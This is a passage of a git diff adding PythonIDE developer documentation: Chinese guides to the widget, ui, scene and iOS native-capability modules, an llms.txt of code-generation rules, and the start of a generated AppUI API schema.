| 用途 | +| --- | --- | +| `title(text)` | 主标题 | +| `caption(text)` | 副标题或说明 | +| `body(text)` | 正文说明 | +| `text(content, ...)` | 高级文本,适合专家自定义字号、字重、颜色和行数 | +| `rich_text(parts, ...)` | 一段文本内混合不同颜色、字重和字号 | +| `value(value, unit=None, subtitle=None)` | 主数值 | +| `change(primary, secondary=None, direction=None)` | 涨跌、变化、趋势说明 | +| `badge(text, icon=None, tone="accent")` | 短状态标签 | +| `metric(label, value, unit=None, icon=None)` | 小指标 | +| `symbol(name)` | SF Symbols 图标 | +| `emoji(content, size=None)` | Emoji 图标或短状态符号 | +| `image(name_or_url)` | 图片或远程图片 URL | +| `background_image(asset_or_url, content_mode="fill", dim=None, scrim=None, focal="center")` | 整个小组件背景图,可用本地路径或远程 URL | +| `background(value)` | 根背景色、明暗色或渐变 | +| `list(items, title=None, limit=None)` | 简单列表 | +| `button(title, action=None, url=None)` | 交互按钮 | +| `link(title, url, icon=None)` | 语义链接 | +| `toggle(title, is_on=False, action=None, url=None)` | 带当前状态的语义开关 | +| `date(target)` / `time(target)` | 日期或时间文本 | +| `relative_time(target)` / `timer_text(target)` | 相对时间或倒计时文本 | + +图片背景不占布局空间。远程 URL 会在构建时缓存成本地资源;本地图片路径会自动注册为小组件资源。`dim` 用于全图压暗,`scrim` 用于给文字区域加渐变遮罩,`focal` 控制 `fill` 裁剪焦点。 + +```python +from widget import Widget + +w = Widget(style="clean") +w.background_image( + "https://example.com/photo.jpg", + content_mode="fill", + dim=0.25, + scrim="bottom", + focal="bottom", +) +w.spacer() +w.title("黄昏海岸").color("white") +w.caption("19:42 · 多云").color("white").opacity(0.86) +w.render() +``` + +富文本适合代码、状态、指标单位等局部强调;它仍然是一个文本节点,不会像拆多个 `text` 那样快速增加节点数。 + +```python +w.rich_text([ + ("CPU ", "gray"), + {"text": "82%", "color": "red", "weight": "bold"}, +]).line_limit(1).accessibility(label="CPU 82%") +``` + +## 图表和进度 + +| API | 用途 | +| --- | --- | + + + +--- source: pythonide/Docs/ios-native.md --- + +# iOS 原生能力 + +相册、联系人、权限、相机、控制台和安全存储。 + +## 最小组合 + +```python +import clipboard +import console +import keychain +import photos + +image = photos.pick_image(raw_data=True) +if image: + clipboard.set(f"picked {len(image)} bytes") + console.hud_alert("已复制图片大小", "success") + +keychain.set_password("demo", "token", "secret-value") +print(keychain.get_password("demo", "token")) +``` + +## 能力地图 + + +## 相关文档 + +| 文档 | 用途 | +| --- | --- | +| [全部模块总览](modules-index) | 按分类查看全部 30+ 内置 Python 模块。 | +| [permission](permission-module) | 统一查询和请求相机、照片、位置、通知、通讯录、健康等权限。 | +| [storage](storage-module) | UserDefaults 持久键值存储。 | +| [database](database-module) | MiniApp 作用域内 SQLite 数据库和 JSON collection。 | +| [photos](photos-module) | 相册选择、拍照、保存和资源查询。 | +| [location](location-module) | 定位、指南针和地理编码。 | +| [notification](notification-module) | 本地通知权限、定时通知和角标管理。 | + +--- source: pythonide/Docs/miniapp-native-capabilities.md --- + +# 原生能力入口 + +这里按 MiniApp 场景整理常用原生能力入口。它不是完整模块总表;完整签名仍以各模块文档为准。 + +## 使用原则 + +- 原生能力由用户动作触发:按钮、刷新、选择器、页面明确操作。 +- `body()` 只负责描述界面,不要在里面请求权限、发通知、启动传感器或做网络请求。 +- 权限、失败、空结果都要写回 `State`,让用户看见当前状态。 +- 设置类数据用 `storage`,可查询记录和缓存用 `database`,敏感数据用 `keychain`,大文件用文件系统。 + +## 能力入口 + +| 能力 | 主文档 | 典型用途 | +| --- | --- | --- | +| 定位与地图 | [location](location-module) | 当前坐标、地理编码、指南针 | +| 相册与相机 | [photos](photos-module) | 选择图片、拍照、保存图片、读取资源 | +| 通知与实时活动 | [notification](notification-module), [live_activity](live-activity-module) | 本地提醒、角标、锁屏状态 | +| 持久化与密钥 | [storage](storage-module), [database](database-module), [keychain](keychain-module) | 设置、小型 JSON、SQLite 记录、敏感 token | +| 设备状态 | [device](device-module), [motion](motion-module) | 屏幕、电池、传感器、方向 | +| 触觉和声音 | [haptics](haptics-module), [sound](sound-module) | 成功反馈、错误反馈、提示音 | +| 网络 | [network](network-module), [websocket](websocket-module) | HTTP、下载、实时连接 | +| 编辑器键盘栏 | [keyboard](keyboard-module) | 自定义插入动作和工具栏 | + +## 场景配方 + +| 目标 | 推荐组合 | 说明 | +| --- | --- | --- | +| 选择照片并保存设置 | `appui` + `photos` + `storage` | 按钮触发 picker,结果路径或元数据写入 `State`。 | +| 地图页展示当前位置 | `permission` + `location` + `appui.MapView` | 先查权限,再请求定位,地图只展示状态结果。 | +| 健康数据面板 | `permission` + `health` + `appui.Chart` | 权限被拒绝时显示空状态,不要让图表空白。 | +| 提醒或定时任务 | `notification` + `storage` | 保存用户设置,再按稳定 identifier 创建或取消提醒。 | +| 播放历史或收藏列表 | `database` + `appui.List` | 用 collection 保存多条记录、进度和更新时间,不要把大列表塞进 `storage`。 | +| 安全配置页 | `biometric` + `keychain` + `appui.Form` | 密钥进 keychain,解锁动作走生物认证。 | +| 实时传感器面板 | `motion` + `haptics` + `ReactiveState` | 高频数据不要每帧重建整棵 UI。 | +| 远端列表 | `network` + `appui.List` + `.refreshable` | 网络请求放在刷新/按钮回调,结果写回 `State`。 | + +## AppUI 中调用原生能力 + +原生能力应该由按钮、刷新、生命周期等明确交互触发,并把结果写回 `State`。不要在 `body()` 里直接请求权限、发通知或做网络请求。 + +```python runnable previewAppUI +import appui +import haptics +import storage + +state = appui.State(theme=storage.get("demo.theme", "System"), message="Ready") + + +def save_theme(): + storage.set("demo.theme", state.theme) + if haptics.is_supported(): + haptics.notification("success") + state.message = f"Saved: {state.theme}" + + +def set_theme(value): + state.theme = value + + +def body(): + return appui.NavigationStack( + appui.Form([ + appui.Section("Preference", [ + appui.Picker( + "Theme", + selection=state.theme, + options=["System", "Light", "Dark"], + on_change=set_theme, + ).picker_style("segmented"), + appui.Button("Save", action=save_theme).button_style("bordered_prominent"), + ]), + appui.Section("Result", [ + appui.Text(state.message), + ]), + ]).navigation_title("Native") + ) + + +appui.run(body, state=state) +``` + +## 原生能力组合示例 + +这个示例把设备信息、通知、触觉和本地持久化组合到一个 AppUI 页面里:按钮触发系统能力,结果写回 `State`,快照用 `storage.set_json(SNAPSHOT_KEY` 保存。 + +```python runnable previewAppUI +import appui +import device +import haptics + + + +--- source: pythonide/Docs/ui-module.md --- + +# ui 概览 + +Pythonista 风格原生 UI 组件与交互。 + +## 适用场景 + +Pythonista 风格命令式 UI,使用 frame/flex 手动布局;新 MiniApp 默认优先用 appui。 + +## 标准示例 + +```python +import ui + +def tapped(sender): + sender.title = "Tapped" + +view = ui.View(frame=(0, 0, 320, 220)) +view.name = "ui demo" +button = ui.Button(frame=(40, 80, 240, 44), title="Tap") +button.action = tapped +view.add_subview(button) +view.present("sheet") +``` + +## API 参考 + +| 类型 | API | 签名 | 说明 | +| --- | --- | --- | --- | +| class | `Color` | `Color(r: float, g: float, b: float, a: float=1.0) -> None` | 颜色类,兼容Pythonista的ui.Color | +| class | `Point` | `Point(x: Union[float, Sequence[float]]=0.0, y: float=0.0) -> None` | 二维点,兼容 Pythonista 的 ui.Point | +| class | `Size` | `Size(w: Union[float, Sequence[float]]=0.0, h: float=0.0) -> None` | 尺寸,兼容 Pythonista 的 ui.Size | +| class | `Rect` | `Rect(x: Union[float, Sequence[float]]=0.0, y: float=0.0, w: float=0.0, h: float=0.0) -> None` | 矩形,兼容 Pythonista 的 ui.Rect | +| class | `Transform` | `Transform(a: float=1.0, b: float=0.0, c: float=0.0, d: float=1.0, tx: float=0.0, ty: float=0.0) -> None` | 2D 仿射变换,兼容 Pythonista 的 ui.Transform | +| class | `Touch` | `Touch(location: Sequence[float]=..., prev_location: Optional[Sequence[float]]=..., phase: str=..., touch_id: int=..., timestamp: Union[int, float]=...) -> None` | 触摸事件,兼容 Pythonista 的 ui.Touch(简化实现) | +| class | `GestureSender` | `GestureSender(view: Optional[View]=..., state: int=..., location: Sequence[float]=..., translation: Sequence[float]=..., scale: float=..., direction: int=...) -> None` | 手势识别器回调的 sender 对象,兼容 Pythonista(state, location, translation, scale, direction) | +| class | `GestureRecognizer` | `GestureRecognizer(gesture_id: str) -> None` | 手势识别器基类,兼容 Pythonista(action(sender)) | +| class | `TapGestureRecognizer` | `TapGestureRecognizer() -> None` | 点击手势(Pythonista 兼容) | +| class | `PanGestureRecognizer` | `PanGestureRecognizer() -> None` | 拖动手势(Pythonista 兼容) | +| class | `PinchGestureRecognizer` | `PinchGestureRecognizer() -> None` | 捏合手势(Pythonista 兼容) | +| class | `SwipeGestureRecognizer` | `SwipeGestureRecognizer() -> None` | 滑动手势(Pythonista 兼容),direction: LEFT=1, RIGHT=2, UP=3, DOWN=4 | +| class | `LongPressGestureRecognizer` | `LongPressGestureRecognizer() -> None` | 长按手势(Pythonista 兼容) | +| function | `parse_color` | `parse_color(color: Any) -> Tuple[float, float, float, float]` | 解析颜色参数为RGBA元组,支持语义色(systemBackground 等)自适应深色/浅色模式 | +| class | `Font` | `Font(name: str=..., size: float=...) -> None` | 字体类,兼容Pythonista的ui.Font | +| function | `parse_font` | `parse_font(font: Any) -> Tuple[str, float]` | 解析字体参数为(name, size)元组 | +| class | `View` | `View(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 视图基类,所有UI组件的父类 | +| class | `ButtonItem` | `ButtonItem(title: str=..., image: Any=..., action: Optional[Callable[..., Any]]=..., **kwargs: Any) -> None` | 导航栏按钮项,用于 left_button_items / right_button_items | +| class | `Button` | `Button(frame: Optional[_Frame]=..., title: str=..., **kwargs: Any) -> None` | 按钮组件 | +| class | `Label` | `Label(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None` | 文本标签组件 | +| class | `TextField` | `TextField(frame: Optional[_Frame]=..., text: str=..., placeholder: str=..., **kwargs: Any) -> None` | 单行文本输入组件 | +| class | `TextView` | `TextView(frame: Optional[_Frame]=..., text: str=..., **kwargs: Any) -> None` | 多行文本输入组件 | +| class | `ImageView` | `ImageView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 图片显示组件 | +| class | `WebView` | `WebView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 网页视图 | +| class | `ActivityIndicator` | `ActivityIndicator(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 加载指示器 | +| class | `TableView` | `TableView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 表格视图 | +| class | `ListDataSource` | `ListDataSource() -> None` | TableView 数据源协议 子类实现 tableview_number_of_sections, tableview_number_of_rows, tableview_cell_for_row 等 | +| class | `TableViewCell` | `TableViewCell(style: str=..., **kwargs: Any) -> None` | 表格行单元,兼容 Pythonista | +| class | `Switch` | `Switch(frame: Optional[_Frame]=..., value: bool=..., **kwargs: Any) -> None` | 开关组件 | +| class | `Slider` | `Slider(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 滑块组件 | +| class | `SegmentedControl` | `SegmentedControl(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 分段控制器 | +| class | `DatePicker` | `DatePicker(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 日期时间选择器 | +| class | `ProgressView` | `ProgressView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 进度条组件,兼容 Pythonista 的 ui.ProgressView | +| class | `Stepper` | `Stepper(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 步进器组件,兼容 Pythonista 的 ui.Stepper | +| class | `NavigationView` | `NavigationView(view: Optional[View]=..., **kwargs: Any) -> None` | 导航视图,支持 push_view / pop_view 兼容 Pythonista 的 ui.NavigationView | +| class | `ScrollView` | `ScrollView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 滚动视图,兼容 Pythonista 的 ui.ScrollView 可容纳超出可见区域的子视图并支持滚动 | +| class | `Path` | `Path() -> None` | 路径类,兼容 Pythonista 的 ui.Path 在 ImageContext 内使用 | +| class | `GState` | `GState()` | with ui.GState(): 保存和恢复绘图状态 | +| class | `ImageContext` | `ImageContext(width: float, height: float) -> None` | 离屏绘图上下文,兼容 Pythonista 的 ui.ImageContext with ui.ImageContext(100, 100) as ctx: ui.set_color('red') ui.fill_rect(0, 0, 50, 50) img = ctx.get_image() # 可在 with 块内调用,会立即结束上下文并返回图像 | +| class | `Image` | `Image(data: bytes=...) -> None` | 图像类,兼容 Pythonista 的 ui.Image | +| function | `begin_image_context` | `begin_image_context(width: float, height: float) -> None` | Start an image drawing context (Pythonista-compatible standalone function). | +| function | `end_image_context` | `end_image_context() -> None` | End the current image drawing context. | +| function | `get_image_from_current_context` | `get_image_from_current_context() -> Image` | Capture the current drawing context as an Image. Call before end_image_context() to get the drawn image, or after end_image_context() to retrieve the last captured result. | +| function | `set_color` | `set_color(color: _ColorLike) -> None` | 设置当前绘图颜色 | +| function | `fill_rect` | `fill_rect(x: float, y: float, w: float, h: float) -> None` | 填充矩形 | +| function | `stroke_rect` | `stroke_rect(x: float, y: float, w: float, h: float) -> None` | 描边矩形 | +| function | `draw_string` | `draw_string(text: str, rect: Any=..., font: _FontLike=..., color: _ColorLike=..., alignment: int=..., line_break_mode: int=...) -> None` | 绘制字符串 rect: (x, y, w, h) 元组 | +| class | `CanvasView` | `CanvasView(frame: Optional[_Frame]=..., **kwargs: Any) -> None` | 画布视图,通过 render(draw_func) 自绘内容 兼容 Pythonista 的 ui 画布用法 | +| function | `get_screen_size` | `get_screen_size() -> Tuple[float, float]` | 获取屏幕尺寸 | +| function | `get_window_size` | `get_window_size() -> Size` | 获取窗口尺寸(同 get_screen_size) | +| function | `get_keyboard_frame` | `get_keyboard_frame() -> Tuple[float, float, float, float]` | 获取键盘在屏幕上的 frame (x, y, width, height);未显示时为 (0, 0, 0, 0)(Pythonista 兼容) | +| function | `get_ui_style` | `get_ui_style() -> str` | 获取当前 UI 风格:'light' 或 'dark'(Pythonista 兼容) | +| function | `measure_string` | `measure_string(text: str, max_width: float=..., font: _FontLike=..., alignment: int=..., line_break_mode: int=...) -> Tuple[float, float]` | 测量字符串尺寸,返回 (width, height) | +| function | `delay` | `delay(seconds: float, func: Callable[..., Any]) -> None` | 延迟 seconds 秒后执行 func(Pythonista 兼容)。可用 cancel_delays() 取消未执行的 delay。 | +| function | `cancel_delays` | `cancel_delays() -> None` | 取消所有通过 delay() 调度且尚未执行的回调(Pythonista 兼容) | +| function | `in_background` | `in_background(fn: Callable[..., Any]) -> Callable[..., None]` | 装饰器:在后台线程执行函数 | +| function | `animate` | `animate(animation: Callable[[], Any], duration: float=..., delay_sec: float=..., completion: Optional[Callable[[], Any]]=...) -> None` | 执行动画。使用 Swift UIView.animate 调度,在延迟后执行 animation 回调,duration 秒后执行 completion。 注意:animation 回调异步执行,视图属性变化会立即生效,不会参与 UIKit 过渡动画。 | +| function | `convert_point` | `convert_point(point: Any=..., from_view: Optional[View]=..., to_view: Optional[View]=...) -> Point` | 坐标转换。from_view/to_view 为 None 表示窗口坐标系 | +| function | `convert_rect` | `convert_rect(rect: Any=..., from_view: Optional[View]=..., to_view: Optional[View]=...) -> Rect` | 矩形坐标转换 | +| function | `set_blend_mode` | `set_blend_mode(mode: int) -> None` | 设置绘图混合模式 (BLEND_* 常量) | +| function | `set_shadow` | `set_shadow(color: Optional[_ColorLike], offset_x: float, offset_y: float, blur_radius: float) -> None` | 设置阴影。color 为 None 时清除阴影 | +| class | `autoreleasepool` | `autoreleasepool()` | autoreleasepool 上下文(Python 中为 no-op) | + + + +--- source: pythonide/Docs/scene-module.md --- + +# scene 概览 + +`scene` 是 Pythonista 风格的 2D 场景运行时,适合小游戏、粒子、Sprite、触摸交互、持续绘制和物理效果。普通表单、设置页和业务工具优先用 [appui](appui)。 + +## 最小场景 + +```python +import scene + + +class Demo(scene.Scene): + def setup(self): + self.background_color = (0.08, 0.09, 0.12) + self.label = scene.LabelNode("Tap anywhere", position=self.size / 2, parent=self) + + def touch_began(self, touch): + self.label.text = f"{touch.location.x:.0f}, {touch.location.y:.0f}" + + +scene.run(Demo(), show_fps=True) +``` + +## Sprite 和 Action + +```python +import scene + + +class SpriteDemo(scene.Scene): + def setup(self): + self.background_color = "black" + node = scene.SpriteNode(color="cyan", size=(80, 80), position=self.size / 2, parent=self) + node.run_action(scene.Action.repeat_forever( + scene.Action.sequence([ + scene.Action.scale_to(1.2, 0.5), + scene.Action.scale_to(0.8, 0.5), + ]) + )) + + +scene.run(SpriteDemo(), show_fps=True) +``` + +## 经典绘制 + +```python +import scene + + +class DrawDemo(scene.Scene): + def draw(self): + scene.background(0.05, 0.06, 0.08) + scene.fill(0.2, 0.6, 1.0) + scene.rect(40, 80, 120, 80, corner_radius=12) + scene.stroke(1.0, 1.0, 1.0, 0.8) + scene.stroke_weight(3) + scene.line(40, 40, 180, 120) + + +scene.run(DrawDemo()) +``` + +## 能力入口 + +| 分组 | 代表 API | +| --- | --- | +| 运行和屏幕 | `run`、`get_screen_size`、`get_screen_scale`、`get_safe_area_insets` | +| 基础类型 | `Point`、`Size`、`Rect`、`Vector2`、`Vector3`、`EdgeInsets`、`Touch`、`Contact` | +| 节点 | `Scene`、`SceneView`、`Node`、`SpriteNode`、`LabelNode`、`ShapeNode`、`EffectNode`、`EmitterNode`、`Texture` | +| 动作和物理 | `Action`、`PhysicsWorld`、`PhysicsBody`、`PinJoint`、`SpringJoint`、`RopeJoint` | +| 绘制 | `background`、`fill`、`no_fill`、`stroke`、`no_stroke`、`stroke_weight`、`rect`、`ellipse`、`line`、`image`、`text` | +| 变换和资源 | `translate`、`rotate`、`scale`、`push_matrix`、`pop_matrix`、`load_image`、`load_image_file`、`load_pil_image`、`unload_image` | +| 高级绘制 | `Shader`、`blend_mode`、`use_shader`、`render_text`、`image_quad`、`triangle_strip`、`tint`、`no_tint` | +| 设备能力 | `gravity`、`play_effect`、`get_image_path`、`get_controllers` | + +完整签名看 [scene API 索引](scene-api-index) 和 [scene API 参考](scene-api-reference)。 + +## 使用规则 + +- `setup()` 创建节点和资源,`update()` 放持续逻辑,`draw()` 放经典绘制,触摸逻辑放 `touch_began` / `touch_moved` / `touch_ended`。 +- 不要把普通数据列表或设置页写成 scene;那类界面用 AppUI 的 `List` / `Form`。 +- 节点动画优先用 `Action`,不要在 `update()` 里重复创建节点。 +- 物理和触摸对象要用稳定引用,避免每帧重新分配大量对象。 diff --git a/docs/llms.txt b/docs/llms.txt new file mode 100644 index 0000000..11f58b8 --- /dev/null +++ b/docs/llms.txt @@ -0,0 +1,28 @@ +# PythonIDE Docs + +> Public docs and machine-readable contracts for generating PythonIDE Mini Apps, widgets, scene scripts, ui scripts, and iOS native capability calls. + +## Start Here + +- [One-page docs](https://pythonide.xin/docs/): human-readable and AI-readable PythonIDE guide. +- [Full AI context](https://pythonide.xin/llms-full.txt): combined generation rules, quick starts, and complete public API surfaces. + +## Machine-Readable API Contracts + +- [AppUI schema](https://pythonide.xin/schemas/appui_api_schema.json): canonical AppUI public API projection. +- [Widget schema](https://pythonide.xin/schemas/widget_api_schema.json): canonical Widget public API projection. +- [Native capabilities schema](https://pythonide.xin/schemas/native_capabilities_schema.json): canonical iOS native capability projection. +- [appui.pyi](https://pythonide.xin/stubs/appui.pyi): AppUI typing surface. +- [widget.pyi](https://pythonide.xin/stubs/widget.pyi): Widget typing surface. +- [ui.pyi](https://pythonide.xin/stubs/ui.pyi): Pythonista-compatible ui typing surface. +- [scene.pyi](https://pythonide.xin/stubs/scene.pyi): Pythonista-compatible scene typing surface. + +## Generation Rules + +- Use `appui` for Mini Apps and interactive native UI. +- Use `widget` for iOS Home Screen widgets. +- Use `scene` for 2D scene/game scripts. +- Use `ui` only for Pythonista-compatible UI scripts. +- Use iOS native modules only when listed in the native capabilities schema. +- Do not invent APIs. Do not use tkinter, PyQt, Flask, Streamlit, or browser/server frameworks for Mini Apps or widgets. +- Output runnable Python code for PythonIDE unless the user asks for explanation only. diff --git a/docs/schemas/appui_api_schema.json b/docs/schemas/appui_api_schema.json new file mode 100644 index 0000000..24d6fb1 --- /dev/null +++ b/docs/schemas/appui_api_schema.json @@ -0,0 +1,3000 @@ +{ + "description": "Generated public AppUI API projection from pyboot/appui_schema.py and pyboot/appui.pyi. Do not edit by hand.", + "exports": { + "appui_impl": [ + "View", + "State", + "ReactiveState", + "Prop", + "ObservableList", + "ObservableDict", + "Ref", + "computed", + "effect", + "dynamic", + "run", + "dismiss", + "animate", + "auto_refresh", + "preload", + "bind", + "set_custom_prop", + "call_native", + "Timer", + "NavigationPath", + "DrawingContext", + "Text", + "Label", + "Image", + "AttributedText", + "Button", + "CloseButton", + "TextField", + "SecureField", + "TextEditor", + "TextFieldLink", + "SearchField", + "Toggle", + "Slider", + "Stepper", + "Picker", + "SegmentedControl", + "InlinePickerStyle", + "WheelPicker", + "DatePicker", + "MultiDatePicker", + "ColorPicker", + "Menu", + "PasteButton", + "RenameButton", + "EditButton", + "SignInWithAppleButton", + "PhotoPicker", + "CameraPicker", + "FileImporter", + "VStack", + "HStack", + "ZStack", + "LazyVStack", + "LazyHStack", + "ScrollView", + "ScrollViewReader", + "Spacer", + "Divider", + "LazyVGrid", + "LazyHGrid", + "Grid", + "GridRow", + "GeometryReader", + "ViewThatFits", + "Group", + "Overlay", + "SafeAreaInset", + "NavigationStack", + "NavigationLink", + "NavigationSplitView", + "TabView", + "Tab", + "List", + "ForEach", + "Form", + "Section", + "GroupBox", + "DisclosureGroup", + "LabeledContent", + "Table", + "ControlGroup", + "ContentUnavailableView", + "ProgressView", + "Link", + "AsyncImage", + "Gauge", + "ShareLink", + "Badge", + "TimelineView", + "Alert", + "ConfirmationDialog", + "Popover", + "Refreshable", + "SwipeActions", + "MapView", + "WebView", + "VideoPlayer", + "Chart", + "Canvas", + "Path", + "Rectangle", + "RoundedRectangle", + "Circle", + "Capsule", + "Ellipse", + "Color", + "ToolbarItem", + "ToolbarSpacer", + "grid_item", + "flexible", + "fixed", + "adaptive", + "custom_font", + "NavigationView", + "infinity" + ], + "appui_views": [ + "View", + "DrawingContext", + "Text", + "Label", + "Image", + "AttributedText", + "Button", + "CloseButton", + "TextField", + "SecureField", + "TextEditor", + "TextFieldLink", + "SearchField", + "Toggle", + "Slider", + "Stepper", + "Picker", + "SegmentedControl", + "InlinePickerStyle", + "WheelPicker", + "DatePicker", + "MultiDatePicker", + "ColorPicker", + "Menu", + "PasteButton", + "RenameButton", + "EditButton", + "SignInWithAppleButton", + "PhotoPicker", + "CameraPicker", + "FileImporter", + "VStack", + "HStack", + "ZStack", + "LazyVStack", + "LazyHStack", + "ScrollView", + "ScrollViewReader", + "Spacer", + "Divider", + "LazyVGrid", + "LazyHGrid", + "Grid", + "GridRow", + "GeometryReader", + "ViewThatFits", + "Group", + "Overlay", + "SafeAreaInset", + "NavigationStack", + "NavigationLink", + "NavigationSplitView", + "TabView", + "Tab", + "List", + "ForEach", + "Form", + "Section", + "GroupBox", + "DisclosureGroup", + "LabeledContent", + "Table", + "ControlGroup", + "ContentUnavailableView", + "ProgressView", + "Link", + "AsyncImage", + "Gauge", + "ShareLink", + "Badge", + "TimelineView", + "Alert", + "ConfirmationDialog", + "Popover", + "Refreshable", + "SwipeActions", + "MapView", + "WebView", + "VideoPlayer", + "Chart", + "Canvas", + "Path", + "Rectangle", + "RoundedRectangle", + "Circle", + "Capsule", + "Ellipse", + "Color", + "ToolbarItem", + "ToolbarSpacer", + "grid_item", + "flexible", + "fixed", + "adaptive", + "custom_font" + ] + }, + "fast_path": { + "aurora_bindable_types": [ + "canvas", + "chart", + "color_picker", + "date_picker", + "image", + "inline_picker", + "label", + "map_view", + "path", + "picker", + "progress_view", + "search_field", + "secure_field", + "segmented_control", + "slider", + "stepper", + "text", + "text_editor", + "text_field", + "toggle", + "wheel_picker" + ], + "binding_function": "bind", + "dynamic_slot_function": "dynamic" + }, + "modifier_routes": { + "accessibility_hidden": { + "domain": "environment", + "name": "accessibility_hidden" + }, + "accessibility_label": { + "domain": "environment", + "name": "accessibility_label" + }, + "alert": { + "domain": "presentation", + "name": "alert" + }, + "alignment_guide": { + "domain": "layout", + "name": "alignment_guide" + }, + "animation": { + "domain": "animation", + "name": "animation" + }, + "aspect_ratio": { + "domain": "layout", + "name": "aspect_ratio" + }, + "background": { + "domain": "appearance", + "name": "background" + }, + "background_extension_effect": { + "domain": "appearance", + "name": "background_extension_effect" + }, + "badge": { + "domain": "list_and_scroll", + "name": "badge" + }, + "blur": { + "domain": "appearance", + "name": "blur" + }, + "bold": { + "domain": "text", + "name": "bold" + }, + "border": { + "domain": "appearance", + "name": "border" + }, + "brightness": { + "domain": "appearance", + "name": "brightness" + }, + "button_style": { + "domain": "style", + "name": "button_style" + }, + "clip_shape": { + "domain": "appearance", + "name": "clip_shape" + }, + "clipped": { + "domain": "layout", + "name": "clipped" + }, + "confirmation_dialog": { + "domain": "presentation", + "name": "confirmation_dialog" + }, + "container_relative_frame": { + "domain": "list_and_scroll", + "name": "container_relative_frame" + }, + "content_margins": { + "domain": "list_and_scroll", + "name": "content_margins" + }, + "content_shape": { + "domain": "interaction", + "name": "content_shape" + }, + "content_transition": { + "domain": "animation", + "name": "content_transition" + }, + "context_menu": { + "domain": "presentation", + "name": "context_menu" + }, + "contrast": { + "domain": "appearance", + "name": "contrast" + }, + "corner_radius": { + "domain": "appearance", + "name": "corner_radius" + }, + "date_picker_style": { + "domain": "style", + "name": "date_picker_style" + }, + "default_scroll_anchor": { + "domain": "list_and_scroll", + "name": "default_scroll_anchor" + }, + "disabled": { + "domain": "interaction", + "name": "disabled" + }, + "drawing_group": { + "domain": "layout", + "name": "drawing_group" + }, + "environment": { + "domain": "environment", + "name": "environment" + }, + "fill": { + "domain": "appearance", + "name": "fill" + }, + "fixed_size": { + "domain": "layout", + "name": "fixed_size" + }, + "focused": { + "domain": "interaction", + "name": "focused" + }, + "font": { + "domain": "text", + "name": "font" + }, + "foreground_color": { + "domain": "appearance", + "name": "foreground_color" + }, + "foreground_style": { + "domain": "appearance", + "name": "foreground_style" + }, + "frame": { + "domain": "layout", + "name": "frame" + }, + "full_screen_cover": { + "domain": "presentation", + "name": "full_screen_cover" + }, + "gauge_style": { + "domain": "style", + "name": "gauge_style" + }, + "glass_effect": { + "domain": "appearance", + "name": "glass_effect" + }, + "glass_effect_id": { + "domain": "animation", + "name": "glass_effect_id" + }, + "glass_effect_transition": { + "domain": "animation", + "name": "glass_effect_transition" + }, + "glass_effect_union": { + "domain": "animation", + "name": "glass_effect_union" + }, + "grayscale": { + "domain": "appearance", + "name": "grayscale" + }, + "hidden": { + "domain": "interaction", + "name": "hidden" + }, + "high_priority_gesture": { + "domain": "interaction", + "name": "high_priority_gesture" + }, + "id": { + "domain": "layout", + "name": "id" + }, + "ignores_safe_area": { + "domain": "layout", + "name": "ignores_safe_area" + }, + "image_scale": { + "domain": "style", + "name": "image_scale" + }, + "inspector": { + "domain": "presentation", + "name": "inspector" + }, + "italic": { + "domain": "text", + "name": "italic" + }, + "keyboard_dismiss": { + "domain": "interaction", + "name": "keyboard_dismiss" + }, + "layout_priority": { + "domain": "layout", + "name": "layout_priority" + }, + "line_limit": { + "domain": "text", + "name": "line_limit" + }, + "list_row_background": { + "domain": "list_and_scroll", + "name": "list_row_background" + }, + "list_row_insets": { + "domain": "list_and_scroll", + "name": "list_row_insets" + }, + "list_row_separator": { + "domain": "list_and_scroll", + "name": "list_row_separator" + }, + "list_style": { + "domain": "style", + "name": "list_style" + }, + "mask": { + "domain": "appearance", + "name": "mask" + }, + "matched_geometry_effect": { + "domain": "animation", + "name": "matched_geometry_effect" + }, + "minimum_scale_factor": { + "domain": "text", + "name": "minimum_scale_factor" + }, + "multiline_text_alignment": { + "domain": "text", + "name": "multiline_text_alignment" + }, + "navigation_bar_back_button_hidden": { + "domain": "navigation", + "name": "navigation_bar_back_button_hidden" + }, + "navigation_bar_title_display_mode": { + "domain": "navigation", + "name": "navigation_bar_title_display_mode" + }, + "navigation_destination": { + "domain": "navigation", + "name": "navigation_destination" + }, + "navigation_title": { + "domain": "navigation", + "name": "navigation_title" + }, + "offset": { + "domain": "layout", + "name": "offset" + }, + "on_appear": { + "domain": "interaction", + "name": "on_appear" + }, + "on_disappear": { + "domain": "interaction", + "name": "on_disappear" + }, + "on_drag_gesture": { + "domain": "interaction", + "name": "on_drag_gesture" + }, + "on_drop": { + "domain": "interaction", + "name": "on_drop" + }, + "on_geometry": { + "domain": "interaction", + "name": "on_geometry" + }, + "on_long_press_gesture": { + "domain": "interaction", + "name": "on_long_press_gesture" + }, + "on_magnification_gesture": { + "domain": "interaction", + "name": "on_magnification_gesture" + }, + "on_rotation_gesture": { + "domain": "interaction", + "name": "on_rotation_gesture" + }, + "on_submit": { + "domain": "interaction", + "name": "on_submit" + }, + "on_tap_gesture": { + "domain": "interaction", + "name": "on_tap_gesture" + }, + "opacity": { + "domain": "appearance", + "name": "opacity" + }, + "overlay": { + "domain": "appearance", + "name": "overlay" + }, + "padding": { + "domain": "layout", + "name": "padding" + }, + "phase_animator": { + "domain": "animation", + "name": "phase_animator" + }, + "picker_style": { + "domain": "style", + "name": "picker_style" + }, + "popover": { + "domain": "presentation", + "name": "popover" + }, + "position": { + "domain": "layout", + "name": "position" + }, + "progress_view_style": { + "domain": "style", + "name": "progress_view_style" + }, + "refreshable": { + "domain": "list_and_scroll", + "name": "refreshable" + }, + "resizable": { + "domain": "appearance", + "name": "resizable" + }, + "rotation_3d_effect": { + "domain": "animation", + "name": "rotation_3d_effect" + }, + "rotation_effect": { + "domain": "animation", + "name": "rotation_effect" + }, + "safe_area_bar": { + "domain": "navigation", + "name": "safe_area_bar" + }, + "safe_area_inset": { + "domain": "navigation", + "name": "safe_area_inset" + }, + "saturation": { + 